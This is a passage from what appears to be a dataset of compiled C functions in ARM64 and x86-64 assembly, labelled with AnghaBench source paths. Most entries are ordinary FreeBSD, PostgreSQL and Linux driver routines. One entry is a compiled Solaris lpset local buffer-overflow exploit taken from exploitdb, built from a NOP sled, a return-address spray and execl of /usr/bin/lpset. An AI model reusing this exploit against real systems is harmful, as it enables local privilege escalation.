## @stderr .no_dead_strip _gomp_verror .subsections_via_symbols
AnghaBench/freebsd/contrib/gcclibs/libgomp/extr_error.c_gomp_verror.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ahci_stop_fr _ahci_stop_fr: ; @ahci_stop_fr .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _AHCI_P_CMD@GOTPAGE ldr x8, [x8, _AHCI_P_CMD@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill stur x0, [x29, #-8] ldur x9, [x29, #-8] ldr w0, [x9, #4] ldr w1, [x8] bl _ATA_INL ldr x8, [sp, #8] ; 8-byte Folded Reload stur w0, [x29, #-12] ldur x9, [x29, #-8] ldr w0, [x9, #4] ldr w1, [x8] ldur w8, [x29, #-12] adrp x9, _AHCI_P_CMD_FRE@GOTPAGE ldr x9, [x9, _AHCI_P_CMD_FRE@GOTPAGEOFF] ldr w9, [x9] bic w2, w8, w9 bl _ATA_OUTL str wzr, [sp, #16] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 mov w0, #10 bl _DELAY ldr w8, [sp, #16] add w9, w8, #1 str w9, [sp, #16] mov w9, #50000 subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldur x8, [x29, #-8] ldr w0, [x8] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _device_printf b LBB0_5 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #8] ; 8-byte Folded Reload ldur x9, [x29, #-8] ldr w0, [x9, #4] ldr w1, [x8] bl _ATA_INL adrp x8, _AHCI_P_CMD_FR@GOTPAGE ldr x8, [x8, _AHCI_P_CMD_FR@GOTPAGEOFF] ldr w8, [x8] ands w8, w0, w8 cset w8, ne tbnz w8, #0, LBB0_1 b LBB0_5 LBB0_5: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _AHCI_P_CMD,4,2 ; @AHCI_P_CMD .comm _AHCI_P_CMD_FRE,4,2 ; @AHCI_P_CMD_FRE .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "stopping AHCI FR engine failed\n" .comm _AHCI_P_CMD_FR,4,2 ; @AHCI_P_CMD_FR .no_dead_strip _ahci_stop_fr .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ahci_stop_fr _ahci_stop_fr: ## @ahci_stop_fr .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movl 4(%rax), %edi movq _AHCI_P_CMD@GOTPCREL(%rip), %rax movl (%rax), %esi callq _ATA_INL movl %eax, -12(%rbp) movq -8(%rbp), %rax movl 4(%rax), %edi movq _AHCI_P_CMD@GOTPCREL(%rip), %rax movl (%rax), %esi movl -12(%rbp), %edx movq _AHCI_P_CMD_FRE@GOTPCREL(%rip), %rax movl (%rax), %eax xorl $-1, %eax andl %eax, %edx callq _ATA_OUTL movl $0, -16(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movl $10, %edi callq _DELAY movl -16(%rbp), %eax movl %eax, %ecx addl $1, %ecx movl %ecx, -16(%rbp) cmpl $50000, %eax ## imm = 0xC350 jle LBB0_3 ## %bb.2: movq -8(%rbp), %rax movl (%rax), %edi leaq L_.str(%rip), %rsi callq _device_printf jmp LBB0_5 LBB0_3: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_4 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 movq -8(%rbp), %rax movl 4(%rax), %edi movq _AHCI_P_CMD@GOTPCREL(%rip), %rax movl (%rax), %esi callq _ATA_INL movq _AHCI_P_CMD_FR@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax jne LBB0_1 LBB0_5: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _AHCI_P_CMD,4,2 ## @AHCI_P_CMD .comm _AHCI_P_CMD_FRE,4,2 ## @AHCI_P_CMD_FRE .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "stopping AHCI FR engine failed\n" .comm _AHCI_P_CMD_FR,4,2 ## @AHCI_P_CMD_FR .no_dead_strip _ahci_stop_fr .subsections_via_symbols
AnghaBench/freebsd/sys/dev/ahci/extr_ahci.c_ahci_stop_fr.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function server_close_fd _server_close_fd: ; @server_close_fd .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] ; kill: def $x8 killed $xzr str xzr, [sp, #8] str xzr, [sp] ldr x0, [sp, #16] ldur x8, [x29, #-8] add x1, x8, #16 bl _FD_ISSET bl _assert ldur x8, [x29, #-8] ldr x8, [x8, #8] ldr x9, [sp, #16] add x8, x8, x9, lsl #4 ldr w0, [x8, #8] bl _assert ldr x0, [sp, #16] bl _close ldr x0, [sp, #16] ldur x8, [x29, #-8] add x1, x8, #16 bl _FD_CLR ldr x8, [sp, #16] ldur x9, [x29, #-8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x9, [x29, #-8] ldr x8, [x9] subs x8, x8, #1 str x8, [x9] b LBB0_2 LBB0_2: ldur x8, [x29, #-8] ldr x8, [x8, #8] ldr x9, [sp, #16] lsl x9, x9, #4 ldr x8, [x8, x9] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldur x8, [x29, #-8] ldr x8, [x8, #8] ldr x9, [sp, #16] lsl x9, x9, #4 ldr x0, [x8, x9] bl _free b LBB0_4 LBB0_4: ldur x8, [x29, #-8] ldr x8, [x8, #8] ldr x9, [sp, #16] add x0, x8, x9, lsl #4 mov w1, #0 mov w2, #16 bl _memset bl _provider_get_first str x0, [sp, #8] b LBB0_5 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_5 Depth=1 ldr x0, [sp, #8] bl _provider_get_next str x0, [sp] ldr x8, [sp, #8] ldr x8, [x8] ldr x9, [sp, #16] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_5 Depth=1 ldr x0, [sp, #8] bl _provider_unregister b LBB0_8 LBB0_8: ; in Loop: Header=BB0_5 Depth=1 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_5 Depth=1 ldr x8, [sp] str x8, [sp, #8] b LBB0_5 LBB0_10: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .no_dead_strip _server_close_fd .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function server_close_fd _server_close_fd: ## @server_close_fd .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq $0, -24(%rbp) movq $0, -32(%rbp) movq -16(%rbp), %rdi movq -8(%rbp), %rsi addq $16, %rsi callq _FD_ISSET movl %eax, %edi callq _assert movq -8(%rbp), %rax movq 8(%rax), %rax movq -16(%rbp), %rcx shlq $4, %rcx addq %rcx, %rax movl 8(%rax), %edi callq _assert movq -16(%rbp), %rdi callq _close movq -16(%rbp), %rdi movq -8(%rbp), %rsi addq $16, %rsi callq _FD_CLR movq -16(%rbp), %rax movq -8(%rbp), %rcx cmpq (%rcx), %rax jne LBB0_2 ## %bb.1: movq -8(%rbp), %rax movq (%rax), %rcx addq $-1, %rcx movq %rcx, (%rax) LBB0_2: movq -8(%rbp), %rax movq 8(%rax), %rax movq -16(%rbp), %rcx shlq $4, %rcx addq %rcx, %rax cmpq $0, (%rax) je LBB0_4 ## %bb.3: movq -8(%rbp), %rax movq 8(%rax), %rax movq -16(%rbp), %rcx shlq $4, %rcx addq %rcx, %rax movq (%rax), %rdi callq _free LBB0_4: movq -8(%rbp), %rax movq 8(%rax), %rdi movq -16(%rbp), %rax shlq $4, %rax addq %rax, %rdi xorl %esi, %esi movl $16, %edx callq _memset movb $0, %al callq _provider_get_first movq %rax, -24(%rbp) LBB0_5: ## =>This Inner Loop Header: Depth=1 cmpq $0, -24(%rbp) je LBB0_10 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 movq -24(%rbp), %rdi callq _provider_get_next movq %rax, -32(%rbp) movq -24(%rbp), %rax movq (%rax), %rax cmpq -16(%rbp), %rax jne LBB0_8 ## %bb.7: ## in Loop: Header=BB0_5 Depth=1 movq -24(%rbp), %rdi callq _provider_unregister LBB0_8: ## in Loop: Header=BB0_5 Depth=1 jmp LBB0_9 LBB0_9: ## in Loop: Header=BB0_5 Depth=1 movq -32(%rbp), %rax movq %rax, -24(%rbp) jmp LBB0_5 LBB0_10: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _server_close_fd .subsections_via_symbols
AnghaBench/freebsd/usr.sbin/bluetooth/sdpd/extr_server.c_server_close_fd.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _x@GOTPAGE ldr x8, [x8, _x@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill adrp x9, _ret_adr@GOTPAGE ldr x9, [x9, _ret_adr@GOTPAGEOFF] str x9, [sp, #24] ; 8-byte Folded Spill adrp x9, _i@GOTPAGE ldr x9, [x9, _i@GOTPAGEOFF] stur x9, [x29, #-24] ; 8-byte Folded Spill stur wzr, [x29, #-4] stur w0, [x29, #-8] stur x1, [x29, #-16] ldr x0, [x8] adrp x8, _NOP@GOTPAGE ldr x8, [x8, _NOP@GOTPAGEOFF] ldr w1, [x8] mov w2, #18000 bl _memset bl _get_sp ldr x9, [sp, #24] ; 8-byte Folded Reload adrp x8, _OFFSET@GOTPAGE ldr x8, [x8, _OFFSET@GOTPAGEOFF] ldr w8, [x8] subs w8, w0, w8 str w8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF adrp x1, _adjust@GOTPAGE ldr x1, [x1, _adjust@GOTPAGEOFF] str x1, [sp, #32] ; 8-byte Folded Spill bl _scanf ldr x8, [sp, #24] ; 8-byte Folded Reload ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf ldr x8, [sp, #32] ; 8-byte Folded Reload ldur x9, [x29, #-24] ; 8-byte Folded Reload ldr w8, [x8] adrp x10, _STARTADR@GOTPAGE ldr x10, [x10, _STARTADR@GOTPAGEOFF] ldr w10, [x10] add w8, w8, w10 str w8, [x9] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-24] ; 8-byte Folded Reload ldr w8, [x8] adrp x9, _ENDADR@GOTPAGE ldr x9, [x9, _ENDADR@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldur x10, [x29, #-24] ; 8-byte Folded Reload ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #24] ; 8-byte Folded Reload ldrb w11, [x8] ldr x12, [x9] ldr w13, [x10] add w13, w13, #2 strb w11, [x12, w13, sxtw] ldr w11, [x8] asr w11, w11, #8 and w11, w11, #0xff ldr x12, [x9] ldr w13, [x10] add w13, w13, #3 strb w11, [x12, w13, sxtw] ldr w11, [x8] asr w11, w11, #16 and w11, w11, #0xff ldr x12, [x9] ldr w13, [x10] add w13, w13, #0 strb w11, [x12, w13, sxtw] ldr w8, [x8] asr w8, w8, #24 and w8, w8, #0xff ldr x9, [x9] ldr w10, [x10] add w10, w10, #1 strb w8, [x9, w10, sxtw] b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #4 str w8, [x9] b LBB0_1 LBB0_4: ldur x8, [x29, #-24] ; 8-byte Folded Reload str wzr, [x8] b LBB0_5 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-24] ; 8-byte Folded Reload ldr w8, [x8] str w8, [sp, #12] ; 4-byte Folded Spill adrp x8, _exploit_code@GOTPAGE ldr x8, [x8, _exploit_code@GOTPAGEOFF] ldr x0, [x8] bl _strlen ldr w8, [sp, #12] ; 4-byte Folded Reload subs w8, w8, w0 cset w8, ge tbnz w8, #0, LBB0_8 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_5 Depth=1 ldur x10, [x29, #-24] ; 8-byte Folded Reload ldr x9, [sp, #16] ; 8-byte Folded Reload adrp x8, _exploit_code@GOTPAGE ldr x8, [x8, _exploit_code@GOTPAGEOFF] ldr x8, [x8] ldrsw x11, [x10] add x8, x8, x11 ldrb w8, [x8] ldr x9, [x9] ldr w10, [x10] adrp x11, _EX_STADR@GOTPAGE ldr x11, [x11, _EX_STADR@GOTPAGEOFF] ldr w11, [x11] add w10, w10, w11 add x9, x9, w10, sxtw strb w8, [x9] b LBB0_7 LBB0_7: ; in Loop: Header=BB0_5 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB0_5 LBB0_8: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x9, [x8] mov x10, #5000 add x10, x9, x10 mov w9, #61 strb w9, [x10] ldr x9, [x8] mov x10, #18000 add x9, x9, x10 strb wzr, [x9] ldr x5, [x8] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF adrp x2, l_.str.6@PAGE add x2, x2, l_.str.6@PAGEOFF adrp x3, l_.str.7@PAGE add x3, x3, l_.str.7@PAGEOFF adrp x4, l_.str.8@PAGE add x4, x4, l_.str.8@PAGEOFF adrp x6, l_.str.9@PAGE add x6, x6, l_.str.9@PAGEOFF mov x7, #0 bl _execl ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _x,8,3 ; @x .comm _NOP,4,2 ; @NOP .comm _OFFSET,4,2 ; @OFFSET .comm _ret_adr,4,2 ; @ret_adr .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "0 : x86 Solaris2.6 J\n1 : ?\n2 : ?\n3 : x86 Solaris 7 J\n" l_.str.1: ; @.str.1 .asciz "Input (0-3) : " l_.str.2: ; @.str.2 .asciz "%d" .comm _adjust,4,2 ; @adjust l_.str.3: ; @.str.3 .asciz "Jumping Address = 0x%lx\n" .comm _STARTADR,4,2 ; @STARTADR .comm _i,4,2 ; @i .comm _ENDADR,4,2 ; @ENDADR .comm _exploit_code,8,3 ; @exploit_code .comm _EX_STADR,4,2 ; @EX_STADR l_.str.4: ; @.str.4 .asciz "/usr/bin/lpset" l_.str.5: ; @.str.5 .asciz "lpset" l_.str.6: ; @.str.6 .asciz "-n" l_.str.7: ; @.str.7 .asciz "xfn" l_.str.8: ; @.str.8 .asciz "-a" l_.str.9: ; @.str.9 .asciz "lpcol1" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movq _x@GOTPCREL(%rip), %rax movq (%rax), %rdi movq _NOP@GOTPCREL(%rip), %rax movl (%rax), %esi movl $18000, %edx ## imm = 0x4650 callq _memset movb $0, %al callq _get_sp movl %eax, %ecx movq _OFFSET@GOTPCREL(%rip), %rax subl (%rax), %ecx movq _ret_adr@GOTPCREL(%rip), %rax movl %ecx, (%rax) leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf leaq L_.str.2(%rip), %rdi movq _adjust@GOTPCREL(%rip), %rsi callq _scanf movq _ret_adr@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf movq _adjust@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _STARTADR@GOTPCREL(%rip), %rax addl (%rax), %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) LBB0_1: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %eax movq _ENDADR@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq _ret_adr@GOTPCREL(%rip), %rax movl (%rax), %eax andl $255, %eax movb %al, %dl movq _x@GOTPCREL(%rip), %rax movq (%rax), %rax movq _i@GOTPCREL(%rip), %rcx movl (%rcx), %ecx addl $2, %ecx movslq %ecx, %rcx movb %dl, (%rax,%rcx) movq _ret_adr@GOTPCREL(%rip), %rax movl (%rax), %eax sarl $8, %eax andl $255, %eax movb %al, %dl movq _x@GOTPCREL(%rip), %rax movq (%rax), %rax movq _i@GOTPCREL(%rip), %rcx movl (%rcx), %ecx addl $3, %ecx movslq %ecx, %rcx movb %dl, (%rax,%rcx) movq _ret_adr@GOTPCREL(%rip), %rax movl (%rax), %eax sarl $16, %eax andl $255, %eax movb %al, %dl movq _x@GOTPCREL(%rip), %rax movq (%rax), %rax movq _i@GOTPCREL(%rip), %rcx movl (%rcx), %ecx addl $0, %ecx movslq %ecx, %rcx movb %dl, (%rax,%rcx) movq _ret_adr@GOTPCREL(%rip), %rax movl (%rax), %eax sarl $24, %eax andl $255, %eax movb %al, %dl movq _x@GOTPCREL(%rip), %rax movq (%rax), %rax movq _i@GOTPCREL(%rip), %rcx movl (%rcx), %ecx addl $1, %ecx movslq %ecx, %rcx movb %dl, (%rax,%rcx) ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $4, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB0_1 LBB0_4: movq _i@GOTPCREL(%rip), %rax movl $0, (%rax) LBB0_5: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -20(%rbp) ## 4-byte Spill movq _exploit_code@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _strlen movl %eax, %ecx movl -20(%rbp), %eax ## 4-byte Reload cmpl %ecx, %eax jge LBB0_8 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 movq _exploit_code@GOTPCREL(%rip), %rax movq (%rax), %rax movq _i@GOTPCREL(%rip), %rcx movslq (%rcx), %rcx movb (%rax,%rcx), %dl movq _x@GOTPCREL(%rip), %rax movq (%rax), %rax movq _i@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movq _EX_STADR@GOTPCREL(%rip), %rsi addl (%rsi), %ecx movslq %ecx, %rcx movb %dl, (%rax,%rcx) ## %bb.7: ## in Loop: Header=BB0_5 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB0_5 LBB0_8: movq _x@GOTPCREL(%rip), %rax movq (%rax), %rax movb $61, 5000(%rax) movq _x@GOTPCREL(%rip), %rax movq (%rax), %rax movb $0, 18000(%rax) movq _x@GOTPCREL(%rip), %rax movq (%rax), %r9 leaq L_.str.4(%rip), %rdi leaq L_.str.5(%rip), %rsi leaq L_.str.6(%rip), %rdx leaq L_.str.7(%rip), %rcx leaq L_.str.8(%rip), %r8 leaq L_.str.9(%rip), %rax xorl %r10d, %r10d ## kill: def $r10 killed $r10d movq %rax, (%rsp) movq $0, 8(%rsp) callq _execl movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _x,8,3 ## @x .comm _NOP,4,2 ## @NOP .comm _OFFSET,4,2 ## @OFFSET .comm _ret_adr,4,2 ## @ret_adr .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "0 : x86 Solaris2.6 J\n1 : ?\n2 : ?\n3 : x86 Solaris 7 J\n" L_.str.1: ## @.str.1 .asciz "Input (0-3) : " L_.str.2: ## @.str.2 .asciz "%d" .comm _adjust,4,2 ## @adjust L_.str.3: ## @.str.3 .asciz "Jumping Address = 0x%lx\n" .comm _STARTADR,4,2 ## @STARTADR .comm _i,4,2 ## @i .comm _ENDADR,4,2 ## @ENDADR .comm _exploit_code,8,3 ## @exploit_code .comm _EX_STADR,4,2 ## @EX_STADR L_.str.4: ## @.str.4 .asciz "/usr/bin/lpset" L_.str.5: ## @.str.5 .asciz "lpset" L_.str.6: ## @.str.6 .asciz "-n" L_.str.7: ## @.str.7 .asciz "xfn" L_.str.8: ## @.str.8 .asciz "-a" L_.str.9: ## @.str.9 .asciz "lpcol1" .subsections_via_symbols
AnghaBench/exploitdb/exploits/solaris/local/extr_19206.c_main.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function is_select_command _is_select_command: ; @is_select_command .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #16] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x0, [sp, #16] bl _skip_white_space str x0, [sp, #16] ldr x8, [sp, #16] ldrsb w8, [x8] subs w8, w8, #40 cset w8, ne tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #16] add x8, x8, #1 str x8, [sp, #16] b LBB0_4 LBB0_3: b LBB0_5 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 b LBB0_1 LBB0_5: str wzr, [sp, #12] b LBB0_6 LBB0_6: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #16] ldrsw x9, [sp, #12] ldrb w0, [x8, x9] bl _isalpha subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_6 Depth=1 ldr x8, [sp, #16] ldrsw x9, [sp, #12] add x0, x8, x9 adrp x8, _pset@GOTPAGE ldr x8, [x8, _pset@GOTPAGEOFF] ldr w1, [x8] bl _PQmblen ldrsw x8, [sp, #12] add x8, x8, x0 ; kill: def $w8 killed $w8 killed $x8 str w8, [sp, #12] b LBB0_6 LBB0_8: ldr w8, [sp, #12] subs w8, w8, #6 cset w8, ne tbnz w8, #0, LBB0_11 b LBB0_9 LBB0_9: ldr x0, [sp, #16] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov w2, #6 bl _pg_strncasecmp subs x8, x0, #0 cset w8, ne tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: mov w8, #1 stur w8, [x29, #-4] b LBB0_15 LBB0_11: ldr w8, [sp, #12] subs w8, w8, #6 cset w8, ne tbnz w8, #0, LBB0_14 b LBB0_12 LBB0_12: ldr x0, [sp, #16] adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF mov w2, #6 bl _pg_strncasecmp subs x8, x0, #0 cset w8, ne tbnz w8, #0, LBB0_14 b LBB0_13 LBB0_13: mov w8, #1 stur w8, [x29, #-4] b LBB0_15 LBB0_14: stur wzr, [x29, #-4] b LBB0_15 LBB0_15: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _pset,4,2 ; @pset .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "select" l_.str.1: ; @.str.1 .asciz "values" .no_dead_strip _is_select_command .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function is_select_command _is_select_command: ## @is_select_command .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -16(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rdi callq _skip_white_space movq %rax, -16(%rbp) movq -16(%rbp), %rax movsbl (%rax), %eax cmpl $40, %eax jne LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -16(%rbp), %rax addq $1, %rax movq %rax, -16(%rbp) jmp LBB0_4 LBB0_3: jmp LBB0_5 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_1 LBB0_5: movl $0, -20(%rbp) LBB0_6: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movzbl (%rax,%rcx), %edi callq _isalpha cmpq $0, %rax je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_6 Depth=1 movq -16(%rbp), %rdi movslq -20(%rbp), %rax addq %rax, %rdi movq _pset@GOTPCREL(%rip), %rax movl (%rax), %esi callq _PQmblen movq %rax, %rcx movslq -20(%rbp), %rax addq %rcx, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -20(%rbp) jmp LBB0_6 LBB0_8: cmpl $6, -20(%rbp) jne LBB0_11 ## %bb.9: movq -16(%rbp), %rdi leaq L_.str(%rip), %rsi movl $6, %edx callq _pg_strncasecmp cmpq $0, %rax jne LBB0_11 ## %bb.10: movl $1, -4(%rbp) jmp LBB0_15 LBB0_11: cmpl $6, -20(%rbp) jne LBB0_14 ## %bb.12: movq -16(%rbp), %rdi leaq L_.str.1(%rip), %rsi movl $6, %edx callq _pg_strncasecmp cmpq $0, %rax jne LBB0_14 ## %bb.13: movl $1, -4(%rbp) jmp LBB0_15 LBB0_14: movl $0, -4(%rbp) LBB0_15: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _pset,4,2 ## @pset .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "select" L_.str.1: ## @.str.1 .asciz "values" .no_dead_strip _is_select_command .subsections_via_symbols
AnghaBench/postgres/src/bin/psql/extr_common.c_is_select_command.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function tegra_dsi_disable _tegra_dsi_disable: ; @tegra_dsi_disable .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x8, [x29, #-8] ldr x8, [x8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x8, [x29, #-8] ldr x0, [x8] bl _tegra_dsi_ganged_disable ldur x0, [x29, #-8] bl _tegra_dsi_ganged_disable b LBB0_2 LBB0_2: ldur x0, [x29, #-8] adrp x8, _DSI_POWER_CONTROL@GOTPAGE ldr x8, [x8, _DSI_POWER_CONTROL@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill ldr w1, [x8] bl _tegra_dsi_readl ldr x8, [sp, #8] ; 8-byte Folded Reload stur w0, [x29, #-12] adrp x9, _DSI_POWER_CONTROL_ENABLE@GOTPAGE ldr x9, [x9, _DSI_POWER_CONTROL_ENABLE@GOTPAGEOFF] ldr w10, [x9] ldur w9, [x29, #-12] bic w9, w9, w10 stur w9, [x29, #-12] ldur x0, [x29, #-8] ldur w1, [x29, #-12] ldr w2, [x8] bl _tegra_dsi_writel ldur x8, [x29, #-8] ldr x8, [x8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldur x8, [x29, #-8] ldr x0, [x8] bl _tegra_dsi_disable b LBB0_4 LBB0_4: mov w0, #5000 mov w1, #10000 bl 